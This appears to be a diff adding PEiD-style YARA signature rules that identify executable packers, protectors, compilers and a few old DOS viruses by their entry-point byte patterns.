+		$0 = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_33_
+{
+	meta:
+		description = "Shrinker 3.3"
+	strings:
+		$0 = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0
+}
+rule _Stony_Brook_Pascalp_v70_
+{
+	meta:
+		description = "Stony Brook Pascal+ v7.0"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0761_pe_exe_
+{
+	meta:
+		description = "UPX v0.76.1 [pe exe]"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v10__v11_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.0 / v1.1"
+	strings:
+		$0 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_006_
+{
+	meta:
+		description = "UPXShit 0.06"
+	strings:
+		$0 = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v030_beta__By_Dwing_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+		$1 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+		$2 = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+		$3 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Stony_Brook_Pascal_v614_
+{
+	meta:
+		description = "Stony Brook Pascal v6.14"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _Launcher_Generator_v103_
+{
+	meta:
+		description = "Launcher Generator v1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+	condition:
+		$0
+}
+rule _Ding_Boys_PElock_v007_
+{
+	meta:
+		description = "Ding Boy's PE-lock v0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v203_
+{
+	meta:
+		description = "PE Lock NT v2.03"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Exact_Audio_Copy__UnknownCompiler_
+{
+	meta:
+		description = "Exact Audio Copy -> (UnknownCompiler)"
+	strings:
+		$0 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CExe_v10a_
+{
+	meta:
+		description = "CExe v1.0a"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+		$1 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_290_LZMA__Markus_Oberhumer_Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CAN2EXE_v001_
+{
+	meta:
+		description = "CAN2EXE v0.01"
+	strings:
+		$0 = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v183_
+{
+	meta:
+		description = "Armadillo v1.83"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE32_v11_
+{
+	meta:
+		description = "PKLITE32 v1.1"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+		$1 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+		$2 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+		$3 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1988"
+	strings:
+		$0 = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+	condition:
+		$0 at entrypoint
+}
+rule _TopSpeed_v301_1989_
+{
+	meta:
+		description = "TopSpeed v3.01 1989"
+	strings:
+		$0 = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Haryanto_
+{
+	meta:
+		description = "Vx: Haryanto"
+	strings:
+		$0 = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Danish_tiny_
+{
+	meta:
+		description = "Vx: Danish tiny"
+	strings:
+		$0 = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeLock_vxx_
+{
+	meta:
+		description = "Code-Lock vx.x"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16b__v16c__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6b / v1.6c --> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_11_
+{
+	meta:
+		description = "PKLITE32 1.1"
+	strings:
+		$0 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 [Debug]"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _624_Six_to_Four_v10_
+{
+	meta:
+		description = "624 (Six to Four) v1.0"
+	strings:
+		$0 = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Macromedia Flash Projector 6.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_10xAshkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0x-->Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10_
+{
+	meta:
+		description = "FSG v1.0"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrunchPE_v30xx_
+{
+	meta:
+		description = "Crunch/PE v3.0.x.x"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogens_PE_Shrinker_v014_
+{
+	meta:
+		description = "Virogen`s PE Shrinker v0.14"
+	strings:
+		$0 = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEc_
+{
+	meta:
+		description = "ASProtect v1.1 MTEc"
+	strings:
+		$0 = {90 60 E8 1B ?? ?? ?? E9 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie2100_
+{
+	meta:
+		description = "Vx: Eddie.2100"
+	strings:
+		$0 = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ExeSmasher] --> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+		$1 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HACKSTOP_v110_v111_
+{
+	meta:
+		description = "HACKSTOP v1.10, v1.11"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v5_
+{
+	meta:
+		description = "Dev-C++ v5"
+	strings:
+		$0 = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _MinGW_v32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESPin_v13__Cyberbob_h_
+{
+	meta:
+		description = "PESPin v1.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt__LaZaRus_
+{
+	meta:
+		description = "LameCrypt -> LaZaRus"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_v200335_
+{
+	meta:
+		description = "CreateInstall v2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+		$1 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+	condition:
+		$0 or $1
+}
+rule _APatch_GUI_v11_
+{
+	meta:
+		description = "APatch GUI v1.1"
+	strings:
+		$0 = {52 31 C0 E8 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi_20_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)"
+	strings:
+		$0 = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11__vcasm_
+{
+	meta:
+		description = "VProtector V1.1 -> vcasm"
+	strings:
+		$0 = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v111c_
+{
+	meta:
+		description = "HACKSTOP v1.11c"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [NorthStar PE Shrinker 1.3] --> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Involuntary1349_
+{
+	meta:
+		description = "Vx: Involuntary.1349"
+	strings:
+		$0 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v0164_
+{
+	meta:
+		description = "CodeCrypt v0.164"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v03_
+{
+	meta:
+		description = "Krypton v0.3"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_v202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock v2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$1 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$2 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$3 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$4 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_COM_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember (COM)"
+	strings:
+		$0 = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_team_h_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl team (h)"
+	strings:
+		$0 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+	condition:
+		$0
+}
+rule _Nullsoft_Install_System_v20a0_
+{
+	meta:
+		description = "Nullsoft Install System v2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+	condition:
+		$0
+}
+rule _PEX_v099_
+{
+	meta:
+		description = "PEX v0.99"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v060__v061_
+{
+	meta:
+		description = "UPX v0.60 - v0.61"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCKnt_204_
+{
+	meta:
+		description = "PELOCKnt 2.04"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _nMacro_recorder_10_
+{
+	meta:
+		description = "nMacro recorder 1.0"
+	strings:
+		$0 = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+	condition:
+		$0
+}
+rule _E__
+{
+	meta:
+		description = "EÓεشø-> Ôºڷç¸ß"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _iPB_Protect_013__017__forgot_
+{
+	meta:
+		description = "iPB Protect 0.1.3 - 0.1.7 -> forgot"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_4_
+{
+	meta:
+		description = "Crunch 4"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8}
+	condition:
+		$0
+}
+rule _y0das_Crypter_v10_
+{
+	meta:
+		description = "y0da's Crypter v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Trainer_Creation_Kit_v5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit v5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+	condition:
+		$0
+}
+rule _SoftSentry_v30_
+{
+	meta:
+		description = "SoftSentry v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_v304_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a, v3.04 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_10__IonIce_
+{
+	meta:
+		description = "Exe Locker 1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v200644_
+{
+	meta:
+		description = "Pe123  v2006.4.4"
+	strings:
+		$0 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Igor_
+{
+	meta:
+		description = "Vx: Igor"
+	strings:
+		$0 = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Crinkler_V01V02__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_167_com_
+{
+	meta:
+		description = "XPack 1.67 [com]"
+	strings:
+		$0 = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v_after_v14_
+{
+	meta:
+		description = "Petite v?.? (after v1.4)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_Library_1985_
+{
+	meta:
+		description = "Microsoft C Library 1985"
+	strings:
+		$0 = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
